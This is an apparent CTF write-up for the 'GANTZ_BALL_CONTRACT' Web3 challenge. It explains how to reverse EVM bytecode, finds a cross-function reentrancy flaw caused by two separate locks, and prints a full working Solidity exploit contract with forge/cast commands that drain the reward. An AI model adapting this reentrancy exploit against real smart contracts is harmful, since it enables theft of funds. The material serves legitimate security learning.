ESPILON-CTF-2026-Writeups/Web3/GANTZ_BALL_CONTRACT
2026-03-22 19:18:58 +01:00
..
README.md ESPILON CTF 2026 — Write-ups édition 1 (33 challenges) 2026-03-22 19:18:58 +01:00

GANTZ_BALL_CONTRACT — Solution

Difficulty: Insane | Category: Web3 | Flag: ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}

Overview

Bytecode-only Solidity challenge. No source code is provided — you must reverse the EVM bytecode to find a cross-function reentrancy vulnerability caused by two separate reentrancy guards instead of one global lock.

Architecture

  • Port 1337/tcp: console (commands: info, bytecode, check)
  • Port 8545/tcp: Ethereum JSON-RPC node

Step 1 — Reverse the bytecode

bytecode

Decompile with Dedaub / Heimdall / Panoramix. Recover:

  • register() — enroll as a hunter
  • claimKill(uint256 missionId, string proof) — earn points per mission
  • stakePoints(uint256 amount) — stake points, deposit ETH (1 pt = 0.001 ETH)
  • unstake() — withdraw ETH, restore points
  • claimReward() — claim reward if points + stakedPoints >= 100

Key finding: the contract uses two separate guards: _stakeLock (protects stakePoints/unstake) and _rewardLock (protects claimReward). While inside unstake(), _stakeLock=1 but _rewardLock=0 — allowing re-entry into claimReward() before stakedPoints is zeroed.

Step 2 — Find mission proofs

From contract storage, extract the four keccak256 target hashes. Brute-force short string preimages:

Mission Points Proof
0 20 onion_alien
1 25 tanaka_alien
2 30 buddha_alien
3 35 boss_alien

Step 3 — Deploy attacker contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IGantzBall {
    function register() external;
    function claimKill(uint256 missionId, string calldata proof) external;
    function stakePoints(uint256 amount) external payable;
    function unstake() external;
    function claimReward() external;
}

contract GantzExploit {
    IGantzBall public ball;
    bool private attacking;

    constructor(address _ball) payable { ball = IGantzBall(_ball); }

    function exploit() external {
        ball.register();
        ball.claimKill(0, "onion_alien");   // +20 → 20 pts
        ball.claimKill(1, "tanaka_alien");  // +25 → 45 pts
        ball.claimKill(2, "buddha_alien");  // +30 → 75 pts
        ball.claimKill(3, "boss_alien");    // +35 → 110 pts

        ball.stakePoints{value: 0.1 ether}(100);
        // Now: points=10, stakedPoints=100

        attacking = true;
        ball.unstake();
        // In receive(): stakedPoints=100 not yet zeroed → claimReward passes
    }

    receive() external payable {
        if (attacking) {
            attacking = false;
            // _stakeLock=1 but _rewardLock=0 → cross-function reentrancy
            ball.claimReward();
            // points(10) + stakedPoints(100) = 110 >= 100 ✓
        }
    }
}
forge create GantzExploit \
    --constructor-args <BALL_ADDR> \
    --value 0.2ether \
    --rpc-url http://<HOST>:8545 \
    --private-key <PLAYER_KEY>

cast send <EXPLOIT_ADDR> 'exploit()' \
    --rpc-url http://<HOST>:8545 \
    --private-key <PLAYER_KEY>

Step 4 — Get the flag

check

Key Concepts

  • EVM bytecode reversal: No source code — must recover ABI and logic from opcodes
  • Cross-function reentrancy: Two separate mutex flags allow re-entry across function boundaries
  • Storage layout: Dynamic arrays, mappings, and packed slots follow deterministic Solidity layout rules
  • keccak256 preimage brute force: Short human-readable strings are feasible to brute-force

Flag

ESPILON{g4ntz_b4ll_100_p01nts_fr33d0m}

Author

Eun0us